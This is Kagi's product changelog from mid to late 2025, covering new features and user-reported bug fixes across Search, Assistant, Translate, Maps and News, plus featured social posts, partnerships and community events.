  • Improved image caching to reduce local storage usage
  • Enhanced layout responsiveness on wide screens, including iPads and tablets
  • General UI improvements across the app

Kagi Translate

  • Help documentation redone (including detailed information about what you can do with URL paramters with Translate)
  • Pinned languages and language history are now synced across devices if settings syncing is enabled
  • Improved speech-to-text
  • Background processing for document translations - start a job, switch tabs or close the browser, and download later
  • Chinese localization tweaks @CTAO
  • Alternatives button does not animate when only two characters are selected @CTAO
  • No minimum text box size causes mobile view to become unusable below certain height #9499 @BenMacphail
  • Japanese Input Issues on Mobile #9496 #9495 @TusedayGhost
  • Clicking 'Show More' long romanicized text hides the box #9394 @theDoctor
  • Alternative translation descriptions appear in target language #9431 @theDoctor
  • Dictionary view pulls in other language tags and categories #9419 @ashemedai
  • Duplicate language suggestions for "Detect Language" #9416 @dreifach
  • Make buttons in Dictionary actual hyperlinks instead of js links #9408 @Thibaultmol
  • Improve 'Dictionary sections' in Kagi Translate #9407 @Thibaultmol
  • Document Wikitionary usage within Kagi Translate Dictionary #9405 @Thibaultmol
  • Backdrop blur doesn't work in Safari on the translate pop-up controls @Carl

Kagi Maps

Post of the week

Here is this week's featured social media mention :

Social media post where user Freddie Gilbraith shares that after a year of using Kagi search, unpersonalized results are consistently better than Google's, suggesting search personalization benefits advertisers over users. Kagi HQ replies explaining their paid search model doesn't track queries, load analytics, or link searches to accounts, keeping searches private and anonymous.

We truly appreciate your support in spreading the word, so be sure to follow us and tag us in your comments!

2025: Year in Review

Explore the major updates, product launches, milestones and press highlights that defined last year for Kagi.

Kagi logo with '2025: Year in Review' headline on a light background with decorative orange stars and tennis ball icons. Text reads 'This was a big year for Kagi, full of milestones, product launches and team growth. Here are some of this year's highlights

Windscribe partnership & privacy alliance

Three illustrated company mascots belonging to Ente, Windscribe and Kagi in transparent bubbles floating in space. The background features a dark navy starfield with asteroids, stars, and hexagonal geometric patterns.

Kagi has partnered with Windscribe, Notesnook, Addy.io, and Ente to create a privacy-focused alliance. Read the announcement here, and check out our current Kagi Specials .

Kagi around the web

Dec 18th, 2025 - Popular areas land in Kagi Maps #

Kagi Maps

We're continuously improving Kagi Maps, and with the latest release we've added a new data layer: Popular Areas. It highlights the busiest and most frequented spots when you're exploring a new city.

Two side-by-side mobile screenshots displaying map features on kagi.com. The left screen shows a map view with arrows highlighting a layers icon and a 'Popular Areas' option within the layer menu; the caption reads 'Addition of Popular Areas'. The right screen displays business details for Black Crown Coffee Company, with arrows pointing to a menu button and a 'Report an issue' tooltip; the caption reads 'Additional Data & Ability to Report An Issue'

New Global Map Layer:

  • Highlights most popular areas where people congregate near Cafes/Restaurants/Shops/Cultural-Centers

POI Infoboxes have more 3rd party external links:

  • OpenStreetMap, Wikipedia, Google Maps, Apple Maps
  • Reviews on Yelp and TripAdvisor
  • Social media profiles (Facebook, Instagram, Twitter)
  • Reservations via OpenTable
  • easier-to-read opening hours with weekly schedules
  • Direct links to restaurant menus when available

Strengthening ties to OpenStreetMap Community:

  • with ability to Report Map Issues to OpenStreetMap directly. A new "Report an issue" option in Infobox connects you to OpenStreetMap's note system, where you can flag errors or suggest improvements to the underlying map data.

Additional Map Data:

  • POI data now preloads in the background for faster navigation when clicking markers or search results
  • Mobile-optimized zoom controls for smoother touch interaction
  • Sorting preferences (distance, rating, price) now persist across sessions
  • Faster POI on click load-times with use of shorterm caching
  • Middle-click support on search results and sorting buttons

Various ad-hoc bug fixes and database improvements:

  • Improved caching system for POI data reducing redundant API calls
  • Better location cookie handling using kagi_precise_location
  • Various improvements to our POI-matching algorithms
  • UI rendering fixes

Kagi Search

  • Location management is now available in settings, where you can view and update your location at any time. Kagi uses either a coarse location estimated from your IP address or, if you opt in, your device's precise location. This is stored only on your device as a cookie . It supports local-intent searches (e.g. "petrol stations near me") and sets the initial map position in Kagi Maps.
    screenshot of the Kagi settings interface with the 'Search' and 'Privacy' tabs selected. A red box highlights the 'Location' section, which contains a description of how location is determined, a 'Fetch precise location' button, and text indicating the current IP-based location
  • Incorrect geoip location #9194 @klandarey
  • Searching for 'Pop! OS (System76)' redirects to incendar.com #9053 @gigabit-jack
  • Summarizer fails on all YouTube videos, "Sorry, no transcript could be found for this video." #9278 @urrlich
  • Kid accounts cannot select a companion. #9246 @leuchtthurm
  • Quick answer responds in Indonesian, despite results being English #9237 @zq40000
  • Can't get to the consumption page from a team plan account #7265 @Thibaultmol-kagi
  • Add an indicator to the shield for websites marked by Surveillance Watch #8912 @pma_snek
  • !tr as the regional bang for Turkey #6376 @GERGE
  • Quick Answer shifts layout on mobile #9171 @hmnd
  • Context menus for inline news and videos are stuck inside the frame #9127 @pma_snek

Kagi Assistant

You can now effortlessly navigate your threads and jump to specific messages with our new thread scrollbar.

  • We've made the following model upgrades:
    • Grok 4 Fast and GPT 5 have been updated to their latest versions
    • Retired Mistral Medium in favor of Mistral Large
  • Add a column to the Custom Assistants settings table that displays each assistant's associated bang #7440 @jogojapan
  • Kagi Mobile Assistant: Tapping or holding a model name should prompt the model info box #8023 @__
  • Claude output cut off around 6500 tokens #9265 @igakagi
  • When using Web Access, Kagi Assistant searches too few sources #6149 @Mar
  • Buttons to quickly jump between chats in an Assistant thread #9232 @brrrendan
  • Right click on highlighted text cause thinking, search, plan and etc to expend #9117 @rxzlion
  • Assistant using 2024 as the search year in 2025 #8350 @blackbird2150
  • Update Grok Fast to 4.1 #9190 @mitch
  • Sharing page for Assistant broken #9176 @catwars
  • Research Assistant image generation should allow you to specify higher resolution than 1024x1024 #9156 @jmp242
  • Navigating between versions of the same prompt is broken with 3 prompts after page reload in Kagi Assistant #7134 @bsamek

Post of the week

Here is this week's featured social media mention :

Mastodon post from Gonzalo Fernandez Gomez stating: I did it. I am officially a member of the Kagi family. I upgraded as soon as I used up my trial. People said they would never pay for TV. Now everybody does. I'm pretty confident the same will happen with search. It's whether you control your search experience or advertisers do. You choose.

We truly appreciate your support in spreading the word, so be sure to follow us and tag us in your comments!

Is your browser a rat?

Check out this fun video we made for Orion . We also made this comic in collaboration with artist Chaz Hutton to show why we built Orion to be your trusted daily companion for the web:

Stick figure illustrations showing six internet activities with Orion Browser: web exploration, password security, data privacy, ad blocking, and tab management.

End-of-Year Community Event

Join us tomorrow, December 19, at 09:00 PST (convert to local time ) for Kagi's annual community event, covering major updates, launches, and what's next. Plus live Q&A with the Kagi team. Register via Zoom. Looking forward to seeing you there!

Dec 4th, 2025 - New Kagi Search companions and quality-of-life improvements #

Kagi Search

Introducing Kagi Search companions

You can now choose your preferred companion on Kagi Search! And more companions coming soon.

Other improvements and bug fixes

Kagi Assistant

  • We've made the following model upgrades:
    • Research Assistant now uses Nano Banana Pro for image generation and editing
    • Claude 4.5 Opus and Deepseek v3.2 have been updated to their latest versions
  • Weird recording of voice in assistant #8672 @StefanHaglund
  • GPT OSS 120B stray think tag #8951 @claudinec
  • Citation popups cropped within tables #9025 @hinq
  • Include chat title in shared chat link preview #9045 @bert

Kagi Translate

  • [Extension] Discord, Whatsapp, Telegram, Reddit integrations
  • [Extension] Redirect from translate.kagi.com/url #8503 @Thibaultmol
  • [Extension] Statistics page in setting
  • [Extension] Apply suggestions (translate/proofreading) directly from overlay #8695 @orschiro

Slop Detective

Post of the week

Here is this week's featured social media mention :

Bluesky post from ari! which says: the people at @kagi.com are incredible, never thought I'd pay for a search engine but god it's so so so good. everything works. no more slop. i truly hope they're all having great years because kagi improved my life and research so much

We truly appreciate your support in spreading the word, so be sure to follow us and tag us in your comments!

Community creations

James Downs built a Kagi News app for Pebble watches:

Kagi News logo followed by 'Daily Press Summary' featuring a Pebble smartwatch displaying headlines from the Kagi News app

Check out this growing list of Kagi community creations for various devices and apps! Have one to share? [Let us know](mailto: esra@kagi.com ).

Small Web badges

Small Web initiative members can display badges on their websites to identify themselves as part of a community committed to authentic content created by humans. Grab them here! And keep exploring what the Small Web has to offer.

Collection of five Small Web initiative badges in pixel art style with orange and black color scheme, some which contain Kagi's dog mascot named Doggo

End-of-Year Community Event

Illustration of Kagi's mascot Doggo flying towards a toy yellow ball surrounded by clouds, with the text: Kagi End of Year Community Event and the date and time: December 19 at 9am PST

As we wrap up an exciting year for Kagi, we'd love to have you join us for our end-of-year community event on December 19 at 09:00 PST (convert to your local time ).

We'll share a comprehensive "Year in Review" covering Kagi's major updates, product launches, and what's ahead, followed by an interactive Q&A session where we'll address your questions directly.

How to participate:

Nov 22nd, 2025 - Kagi Hub Belgrade #

Kagi Hub Belgrade: Making the human web real

We just opened the Kagi Hub in Belgrade, Serbia!

If you’re a Kagi member, you can book up to 5 FREE reservations per month and treat the Hub as your base whenever you’re in Belgrade. It is the same space our team uses, so you will be working directly alongside the people shaping Kagi’s future. More details, including how to reserve your spot, are in this blog post: https://blog.kagi.com/kagi-hub

Having an actual physical space makes our mission to "humanize the web" feel so much more real. It is a place for Kagi members and our fully remote team to work, trade ideas, and build the tools we all wish existed.

We are looking forward to welcoming you to Kagi's first ever Hub!

Nov 20th, 2025 - Introducing Quick and Research assistants #

Kagi Assistant

Introducing Quick and Research assistants

Today, we are officially introducing Kagi Research assistants (previously known as "KI"). Read our full announcement here .

Their main strength is research: identifying what to search for, executing multiple simultaneous searches (in different languages, if needed), and synthesizing the findings into high-quality answers.

Simply choose whether to prioritise speed or depth:

  • Quick optimises for speed , providing direct and concise answers.
  • Research focuses on depth and diversity , conducting exhaustive analysis for thorough results. Research is available to Ultimate subscribers only.

To achieve this, they employ different base models for specific tasks. We continuously benchmark top-performing models and select the best one for each job, so you don't have to.

And on top of web search, we’ve added new behavioural layers and a wider toolset, including Python execution and image generation for higher-quality answers. These capabilities go beyond what was already possible in Kagi Assistant using a base model with web search. See our documentation for the full details.

Finally, a huge thank you to everyone in our Discord for beta testing this with us and providing tons of feedback along the way! 🙏

Note:

  • With this change, we set the Quick assistant as the default mode in Kagi Assistant. You can always adjust this in your Assistant Settings .
  • Additionally, we plan to migrate the q bang, currently used for Quick Answer, to trigger an Assistant thread targeting the Quick assistant.

LLMs are bullshitters. But that doesn't mean they're not useful

Yesterday, we published an opinion essay exploring the useful yet disruptive nature of LLMs. Give it a read and let us know what you think https://blog.kagi.com/llms

Colour code your Assistant tags

Now you can assign icons and colours to your tags. Spot important threads instantly.

Other improvements and bug fixes

  • Retired a handful of models. As part of a regular process, we occasionally review and retire models that are not used by Kagi customers and have been superseded by better, newer models. Saying bon voyage to: gpt-oss-20b , gpt-4-1-nano , gpt-4-1-mini , gpt-4-1 , o4-mini , o3 , grok-code-fast , mistral-large , deepseek-r1 , and hermes-4-405b . In the future we will forecast these changes with more advanced notice.
  • Various untranslated Kagi Assistant texts #5328 @MonoMatrix
  • Kagi Assistant - work on relationship between Custom Assistant and Model in the UI #8327 @RobOK
  • Show more info in dialog when using Kagi Assistants #8335 @Thibaultmol
  • Case-agnostic alphabetical sorting for assistant tags #8967 @lolroger

Kagi Search

SlopStop Update

Last week we kicked off our SlopStop initiative. Since then, the community has submitted over 3,000 reports! Our team is reviewing this data to refine our evaluation pipeline, with improvements expected to go live next week

Please continue reporting AI slop in your search results.

Kagi Translate

Post of the week

Here is this week's featured social media mention :

Haven't tried the Kagi Translate extension yet? Check it out !

Nov 13th, 2025 - Raising the shield against slop #

Kagi Search

Introducing SlopStop: community reporting to reduce low-quality AI content

Today we're releasing SlopStop, our first step in collaborative filtering. This allows our community to directly improve search quality for everyone! Read the full announcement here !

Low-quality AI content is flooding the web. Kagi’s ranking already downranks and filters much of it. SlopStop gives you a simple mechanism to help us keep results even cleaner and more authentic.

How it works:

  1. If you see low-quality AI content in web, image or video results, click the shield icon next to the result to report it. If something is flagged in error, use the same control to report the mistake.
  2. Check your reports statuses in Settings.
  3. We verify reports alongside our own signals. When a domain or channel is confirmed to primarily publish AI content, we deprioritise it in Kagi.

alt="Search results comparing AI slop detection on megik.com versus official Magic: The Gathering website on magic.wizards.com"

You can read more about this initiative in our annoucement blog post or in our documentation .

Highlighting surveillance actors

A screenshot of a Kagi search results page for NSO group. The page shows various search results, news articles, and a domain info panel on the right side. The domain panel highlights the label 'Known Surveillance Technology Provider'. This label serves as a classification or warning indicator about the company's role in providing surveillance technology.

We've integrated with Surveillance Watch , an interactive database that documents surveillance and spyware entities. When you visit a domain on their list, we'll display a banner to alert you.

Other improvements and bug fixes

Kagi Assistant

Kagi Maps

Kagi Translate

Kagi News

  • Improved story filter to prevent generation of mundane news (non-news) @petelingo
  • Less emotional/screaming TTS @hsiktas
  • Chaos index experimental feature broken on mobile @xytronix
  • Search and content filter should consider sub-category @laiz
  • USA | Austin, TX category returns a 404 when navigated to directly @loganmccaul

Kagi Summarize

  • 300+ languages added for mobile users
  • Improved layout for right-to-left languages on mobile
  • Liquid Glass design for iOS users

Post of the week

Here is this week's featured social media mention :

Post on Bluesky by Emily Hunt which reads: I saw a colleague use Google to search for something today, and I forgot how much easier it is (thanks Kagi!) when you don't have to scroll through a sloppy AI answer & loads of sponsored links to get what you need

Follow us on your preferred social media platform and tag us with your feedback!

Oct 23rd, 2025 - Go deeper with Quick Answer #

Quick Answer gets an upgrade

If you use Quick Answer on Kagi Search, you already know it finds relevant content fast. Now we're taking it even further as a powerful research tool:

Built-in follow-ups . Every answer now comes with three suggested follow-up questions to keep the momentum going.

A screenshot of Kagi search results for what type of radiation does the sun emit?'. The quick answer section highlights visible light, infrared radiation, and ultraviolet (UV) radiation as primary emissions, along with radio waves, microwaves, X-rays, and gamma rays. A knowledge panel on the right shows an image of the sun with text about 'Sunlight' and its electromagnetic radiation.

Seamless transition to Kagi Assistant . Your conversation thread carries over automatically so you can continue exploring instantly.

A close-up screenshot of the 'Quick Answer' section from Kagi search results, detailing the types of electromagnetic radiation emitted by the sun, including visible light, infrared, UV, radio waves, microwaves, X-rays, and gamma rays. It also mentions the beneficial and detrimental effects of UV radiation.

Mobile now has its own dedicated experience. Use the new full-screen view and input field to ask your next question. You can switch back to the Search results page at any time by tapping the magnifying glass.

The goal is for your research to feel less like a chore and more like following your curiosity wherever it leads.

Privacy Settings

  • As we continue building tools for both greater privacy and anonymity, we wanted to make this information easier to find. Our new dedicated privacy page puts everything in one place: our Privacy Policy , Privacy Pass , Tor access , and privacy-preserving payment methods.

A screenshot of the Kagi Privacy Settings page, showing information about Kagi's privacy policy, Privacy Pass feature, and options to download Kagi Privacy Pass for various browsers and Android. There's also a section for 'Hide kagi.com Referrer' with a toggle switch.

Other improvements and bug fixes

Kagi Search

Kagi Assistant

Kagi Translate

Kagi News

  • Single page mode (Sequential, Mix, Random) setting [web]
  • Add TTS, Simplifier and Anki flash card generation for Kagi Search subscribers [web]
  • Implement sharing [mobile]

Kagi Maps

October 17th, 2025 - Autumn patch notes & a new Kagi Special #

Kagi Specials

Our Kagi Specials initiative is expanding. Today we are adding Notesnook , the privacy-first note taking app.

Illustration of Kagi's mascot, a cartoon dog, holding a notebook with the Notesnook logo on it and a pencil, with two yellow padlocks floating on either side

Kagi members will get a 10% lifetime discount to Notesnook, and Notesnook members will get a complimentary 3-month subscription to the Kagi Professional plan. Visit our Specials page or learn more about this wider initiative.

Kagi Search

Kagi Assistant

Kagi News

Kagi Translate

  • Language complexity setting for translation/proofreading @laiz
  • Add Continue in assistant button 789 @yeddyfit
  • Wordstar translation fixes 794 @tux0r
  • Simplified TXT export for translation history 792 @fotland
  • CJK detect language prioritization setting @リボーン
  • Definition meaning equivalents @リボーン
  • Move romanization directly under input/output on desktop @p0ly60n
  • Proofreading adding em-dashes when not present in original text @alexchadwick
  • Translating to simplified chinese leaves some word in the source language @CTAO
  • Dictionary throwing "Failed to search dictionary. Please try again." #8651 @kayo

Kagi on Socials

Here is this week's featured social media mention :

Social media post by Brambleminster Gollyhatch on Mastodon stating: 'After a couple of months of using @kagihq, having to use Google on someone else's computer kinda feels like using your aunt's virus riddled Windows XP desktop with IE6 and no ad blocker.'

Follow us on your preferred social media platform and tag us with your feedback!

Kagi around the web

  • David Pierce of The Verge described Kagi News as "simple, straightforward, super useful."
  • Watch Cory Doctorow talk about the journey to finding a "magical" search experience with Kagi on the inaugural episode of The Honest Broker video interview series. You can also catch him talking about Kagi on Adam Conover’s podcast.
  • Listen to our founder Vlad on Monocle Radio announce Kagi's upcoming SlopStop initiative to help combat AI slop on the web (min 19:26) .
  • Kagi News also had a shout out on MacSparky: "If you want to stay informed without the doomscrolling, Kagi News is worth trying."
  • We enjoyed reading this comprehensive post about Kagi News by Esor Huang. Read with Kagi Translate.
  • After two years with Kagi, Michael Peter shares his positive experience and reflects on upgrading to the Ultimate plan: "I’m surprised I didn’t do it sooner. The AI assistant is really good and fits perfectly into my browser workflow."

Industry news

Community creations

The creativity of the Kagi community amazes us as always! Thanks to Remy Wang, you can now read Kagi News on Playdate :

Kagi art

With Kagi, you're always the customer. Never the product.
Two-panel comic: Top panel shows a search engine choosing between shelves of boxed users, saying 'Can't wait to use this.' Bottom panel shows a person choosing between boxed search engines with various prices from Kagi, saying 'Can't wait to use this.'

Sept 30th, 2025 - Kagi News #

Announcing Kagi News!

Today we’re officially introducing Kagi News: a once-a-day press review that cuts through the noise. Global stories, community-curated sources, and zero tracking. News the way it should be.

What can I do with it?

  • Get a thoughtful daily press review , tailored to your interests and reading pace
  • Explore up to 12 key stories per category — choose global news, local coverage, or both
  • Dive into international perspectives from major global outlets
  • Or focus on local news from a specific country, with content curated from its national press
  • Read any article in your preferred language with built-in translation
  • See every story structured clearly : Summary, Highlights, Key Quotes, Timeline, Context, and Impact
  • Tap once to access the original source
  • Help shape the feed by contributing trusted outlets to the community-curated platform

How It Works

Every day at 12:00 KT (Kagi time), we deliver a fresh press review based on your preferences.

Two iPhones displaying articles. The left one has no images. The right one shows images.

Two hands holding an open Android foldable phone displaying articles.

Built on Values You Can Trust

✨ No surveillance, ads, or trackers
🌍 Open-source curation by the Kagi community
🧠 Designed to empower you, not exploit your habits

Download it now on

App Store : https://apps.apple.com/app/kagi-news/id6748314243
Play Store : https://play.google.com/store/apps/details?id=com.kagi.news
Web : https://kite.kagi.com/

We'd love to hear your feedback on https://kagifeedback.org

Improvements and bug fixes

Kagi Search

Kagi Assistant

We've added several new flagship models to the Kagi Assistant.

Kagi Translate

  • Add standard/best toggle to Dictionary page
  • Stroke count for Chinese characters are incorrect @andelink

Kagi on Socials

Here is this week's featured social media mention :

Follow us on your preferred social media platform and tag us with your feedback!

Sept 18th, 2025 - Releasing Ask, a round of product polish, and translation upgrades #

Kagi Search

Kagi Maps

Kagi Assistant

Kagi Translate

Ask - bash script for quick AI queries in the shell

We open-sourced ask , a lightweight (about 200 lines) shell script for interacting with LLMs through OpenRouterAPI (in the future Kagi Assistant API).

Example usage:

ask command to find files larger than 100mb

# Output: find . -type f -size +100M
ask ffmpeg command to convert mp4 to gif

# Output: ffmpeg -i input.mp4 -vf "fps=10,scale=320:-1:flags=lanczos" output.gif

Check it out here .

Kagi Specials

We're excited to introduce Kagi Specials , where we spotlight privacy-first companies that share our values: no surveillance, no ads, no data selling, and providing special offers on these services for Kagi members.

Our first featured special is Ente ! It's an end-to-end encrypted photo and video storage service that ensures only you can access your memories.

Ente's mascot, a yellow duck, wearing a green cap with Ente's logo on it while smiling. Next to it is Doggo, Kagi's cartoon dog mascot, sitting happily with a tennis ball by its side. The background shows a bright blue sky with fluffy white clouds.

For users who value privacy, Ente is a perfect complement to Kagi, and Kagi members will get 25% off for the first 12 months. Read more about this initiative and keep an eye open for upcoming specials!

Kagi on Socials

Here is this week's featured social media mention :

A screenshot of two posts on Bluesky about Kagi search. The first post by TapGhoul (@tapghoul.dev) says: “Been using Kagi now for a while. Pretty much the same as strasz here — it’s made search usable. Even without blocking domains and such, it’s incredible how good a search engine can be when your eyeballs aren’t the product.” The second post by strasz (@strasz.bsky.social) says: “i love kagi — totally made search usable again. the ability to block domains owns, too. just great stuff.”

Tag our accounts or use #Kagi when mentioning us in your posts!

Kagi around the web

Industry news:

Illustration of Kagi's mascot, a cartoon dog with a white body and black nose and ears, reading a newspaper.

September 4th, 2025 - Kagi Summarize goes mobile, Kagi Assistant adds source attribution and study mode #

Announcing proportional source attribution in AI answers

We built technology that provides proportional content attribution in AI answers.

Reference links, each accompained by a percentage value of their contribution to the final answer

This helps you understand the importance of each source in forming the final answer.

More importantly, this technology paves the way down the road for Kagi to share profits with publishers participating in our AI answers. This would happen automatically for all websites, with no deals, no contracts needed.

Try it Kagi Assistant now.

Announcing Kagi Summarize for mobile

We're launching the Kagi Summarize mobile app for iOS and Android !

What can I do with it?

  • Save time by reading long articles and getting straight to the point
  • Reorganize an article’s structure into key takeaways
  • Native integrations into share flows on mobile
  • Multilingual article transformation to your preferred language

Download it now on

We'd love to hear your feedback !

Demo:

Study mode in Assistant

We're introducing our take on study mode : a Kagi Custom Assistant designed to guide your learning journey through active discovery. Using Socratic method, evidence-based learning techniques, and collaborative exploration, it helps you uncover answers rather than simply providing them.

Please note that the Kagi Study Custom Assistant is available only on the Ultimate plan, as it relies on premium models.

Kagi Search

Kagi Assistant

Kagi Maps

Kagi Translate

  • Dictionary mode with settings for context/definition details/synonyms
  • Dictionary popup during Translation, when selecting part of the input/output text (Kagi subscribers only)
  • Localization for Hebrew & Arabic (RTL)
  • Language-specific features in dictionary for Hebrew
  • Experimental Translation Context memory feature (Kagi subscribers only)
  • Settings/history sync across devices for logged-in users.
  • Validation failed when using custom settings for proofreading @Sominemo
  • Dark mode getting mixed with light mode under specific circumstances @nfd

Kagi in Japan

We're honored to join the Shibuya Startups program and community in Japan! 🇯🇵

This exciting opportunity came about through meeting Shiho Watabe, the startup hub manager, during our recent Japan visit . We were immediately drawn to their vision of supporting bold, boundary-pushing ideas from the heart of Tokyo's creative scene.

Japan has already become our second highest source of traffic through organic growth, thanks largely to Kagi Translate , and we see tremendous potential to deepen our presence there. Being part of this program opens doors to bring Kagi directly to Shibuya's libraries and schools.

alt="Slide with bold text ‘Thank you, Shibuya Startups!’ beside the Kagi logo on a large yellow semicircle. A cartoon version of the iconic Hachiko Statue stands on a gray podium while Doggo, Kagi's cartoon dog mascot, sits in front of it next to a tennis ball."

Kagi on Socials

Here is this week's featured social media mention :

A screenshot from Mastodon user Sebastian which reads: Just subscribed to a plan from #Kagi @kagihq. Wow, I forgot how satisfying searching for something on the web can be when you don’t get AI or (AI-written) content farms pushed into your search results. You can configure almost everything about your search experience, including modifying the ranking to prefer sites that have high-quality human-written content.

Tag our accounts or use #Kagi when mentioning us in your posts!

Kagi in the news & around the web

Tech corner

Our colleague Jacob does a deep dive into how we optimized Kagi Assistant to load twice as fast.

How search engines should work

In collaboration with artist Chaz Hutton , we've illustrated what search should be: Zero ads. Zero tracking. Just the results you're looking for.

Comic comparing current search engines vs. ideal search: Top panel shows person seeking 'the thing' being bombarded with ads and irrelevant results from multiple figures holding signs. Bottom panel shows clean interaction where person asks for 'the thing' and receives exactly what they wanted.

August 19th, 2025 - Midsummer patch notes #

Kagi Search

Kagi Assistant

We've improved how you can organise your threads with tags. Here's a summary:

Plus,

Kagi Translate

Kagi Maps

Kagi on Socials

Here is this week's featured social media mention :

The tale of two search engines. Google, which uses its crappy AI to give a confidently wrong answer on every search. Or @kagihq which a) is confident enough to tell you if it doesn't know, and b) only uses AI if you end a query with a question-mark. Guess which search engine I use. Below the text are two side-by-side search-result images: the left shows a Google result that displays a specific payday date (highlighting Wednesday, July… as the payday), while the right shows a Kagi Quick Answer stating it cannot provide the exact payday, explains pay frequency can vary, and recommends checking an employment agreement or payroll department with links to references.

Tag our accounts or use #Kagi when mentioning us in your posts!

Kagi in the news & around the web

  • Lee Hutchinson wrote a great in-depth piece on Ars Technica about making the switch to Kagi.
  • Orion gets a prominent shout out by designer Juxtopposed for its wide range of customization options and unique features.
  • Our CEO Vlad was interviewed on an episode of the Intelligent Machines podcast with Leo Laporte, Jeff Jarvis and Paris Martineau.
  • Sedat Kapanoğlu wrote about "good people doing good things", using Kagi as an example of a service whose incentives are aligned with its users.
  • Writer Dave Pollard mentions Kagi in an article about the internet’s "tragedy of the commons," using it as an example of a functioning digital commons.
  • Listen to Vlad on the Mac Power Users podcast with David Sparks and Stephen Hackett talk about what Kagi offers its customers and its role as a powerful alternative to products offered by tech giants.

From the Blog

Free search isn’t actually free. You’re just paying with something else. Read why paying for search is worth every penny.

Industry News

The true cost of "free" ad‑supported search isn't mere annoyance, it's also real loss of money and time. A CBS Chicago segment shows how scam ads are flooding results and hurting users. That's why Kagi is and will always remain ad‑free.

July 31st, 2025 - Kagi Assistant gets tags, bulk actions, and much more #

Kagi Assistant

This week's release brings several big updates to Kagi Assistant, laying the groundwork to exciting new chapters ahead.

Introducing tags
Tags let you organise your Kagi Assistant threads. Each thread can have multiple tags.

  • You can use the Temporary tag to mark any thread as temporary, and it will auto-delete 24h after its last update.
  • If you use Kagi Assistant in 24h mode, all new threads will be tagged as Temporary by default. When you remove the Temporary tag, that thread will be saved.
  • When you create a thread while viewing a specific tag, the new thread will automatically inherit that tag.
  • Threads without a custom tag, such as all your currently saved threads, appear in the All folder.

Learn more on our help page .

Bulk managing threads
We've also made thread management easier: select multiple threads and either tag them or delete them permanently.
[upl-image-preview url= https://kagifeedback.org/assets/files/2025-07-31/1753986178-528658-image.png ]

Model picker
The model picker now features a curated set of base models that we believe deliver the strongest performance, helping you choose the best option for your specific task. We continuously update this list using our own in-house benchmarking .
image

Define your default Assistant
You can now define your default Kagi Assistant model , as either one of your Custom Assistants, a base model or the last used model. Every new thread you create will start with that default model.

Removal of context windows limits
Kagi Assistant no longer enforces context window limits . We include all available information, and if we reach the model’s maximum size, we carry forward relevant context so it remains available for your next instructions.

Plus many other fixes and improvements

Kagi Search

As we gear up for important updates, this release brings a round of improvements and bug fixes,

Kagi Maps

  • More precise results when interacting with map POIs
  • Merging of information from multiple sources in search results

Fixes and improvements:

Kagi Android app

Our latest release introduces several quality-of-life improvements, including

  • Added a Kagi Assistant button right in the native search screen: faster access, less tapping #7166 @COValhalla
  • Fixed: tapping 'x' no longer clears your bottom search bar #7677 @yk

Kagi on Socials

Here is this week's featured social media mention :

Screenshot 2025-07-16 at 7.22.11 PM

Tag our accounts or use #Kagi when mentioning us in your posts!

Kagi around the web

  • Kagi was featured on a list of "Smarter Search Engines to Try in 2025" by PC Mag:

"Good for research, it offers outstanding control over your results, including letting you favor specified domains over others."

  • French tech site Clubic featured an interview with Vlad about 7 reasons to try Orion. Read with Kagi Translate here.
  • Cory Doctorow gave Kagi another shout out in a post about Google's declining quality and spam results:

"It's been more than a year since I gave up on Google Search (I switched to Kagi.com and never looked back). I don't miss it."

July 11th, 2025 - New News Homepage #

Kagi Search

Our redesigned News homepage is now live. You'll find top stories and selected categories featured prominently, so you can quickly access the news that matters most. Updated once per day, spend less time scrolling and more time staying informed. We plan to launch mobile native News experience soon.

Let us know how you like it!

We are still rapidly iterating on the quality of this content & welcome your feedback!

Kagi Assistant

We've added model info boxes that highlight each model’s strengths with scores from the Kagi LLM benchmark , so you can pick the best fit for your task without wading through docs. For more in-depth information, see the full details here .

Kagi Android app

New homescreen widgets for Kagi Assistant, Translate, and Summarizer -- access in one tap. Plus: smoother performance, cleaner experience, and fixes for the little things. Enjoy!

Kagi Translate

  • Grammatical Gender, notes, usage over time added to Dictionary
  • Navigate to text mode when clicking on a translation history element
  • Improved UI on mobile
  • More consistent font across devices
  • Do not show "Alternatives" title when there are none
  • Improved language auto-detection
  • Kagi Translate shows stop token in translation #7448 @phagi
  • Proofreading mode is broken with dark theme, scrolling to text near header is janky @MomentumBuffet

Kagi on Socials

Here is this week's featured social media mention :

Tag our accounts or use #Kagi when mentioning us in your posts!

Kagi around the web

  • In one of the latest episodes of the Behavioral Science for Brands Podcast, Rory Sutherland discusses how Kagi stands out by prioritizing user interests over advertisers - highlighting what happens when search engines put advertisers first.
  • Jonathan Margolis interviewed our CEO Vlad in Air Mail magazine:

At last, a search engine that won’t collect your data and feed you ads.

  • Longtime Kagi user wrote a great guide on customizing Kagi Search with Lenses, Personalized Results / domain ranking to help you get the most out of your Kagi experience.
  • Kagi got a nice shout out on the Intelligent Machines podcast with Leo Laporte, Mike Elgan and Jeff Jarvis. An interview with Vlad will be on the show soon!

Industry News

June 27th, 2025 - Accessibility wins, regex bangs, relentless bug fixing #

Kagi Search

Accessibilty upgrades

Over the past few weeks, we've made many tweaks to improve accessibility of our settings pages for keyboard users, screen reader users, and users who have JavaScript disabled.

Advanced control for Bangs via Regex

We've added an optional "Regex" field to Custom Bangs for more precise control. Instead of $1 always being the first word and $2 the second, you can now define exactly how your query is split to create more powerful shortcuts.

For example, to create a custom translator for a query like !tr spanish live long and prosper , you can now separate the language from the text. In your Custom Bang settings, you would use:

  • Template: https://translate.kagi.com/?to=$1&text=$2
  • Regex: (\w+)\s+(.*)

This pattern tells the Bang to use the first word for $1 and the entire rest of the query for $2 . If you leave the Regex field blank, your Bangs will continue to work as they always have. We're excited to see what you build with this

Other bug fixes and improvements

Kagi Assistant

Kagi Translate

  • Proofreading mode improvements (statistics tab, apply/revert corrections, hover to find correction in text/list, all corrections now have explanations)
  • Added virtual keyboard for some alphabets
  • Language-specific tweaks for Russian, Estonian, Sami (All variants), Afrikaans and Cherokee.
  • Fix "Sorry, I cannot complete this request" censorship for some queries hyacinth
  • TTS using the wrong accent fbkagi rrmiguel
  • Enable output controls after text is processed, even if other features are not azdanov
  • Regression in RTL support kaguru
  • AM/PM vs 24H clock setting nichu42
  • TTS not playing on iOS if ringer is muted snowytrees
  • Translate is vulnerable to being prompt injected Colonial
  • Translation refuses to translate text that is censored in China JP Discord User/ Hanbyeol
  • Some symbols are escaped as HTML chars in translation UserOfOrion
  • Language detection thinks that [アラビア文字] arabic text instead of japanese JulianGro
  • Top bar in mobile Orion/Safari does not follow theme artem
  • Auto language switcher not working when pasting output text in source box Anonymous22
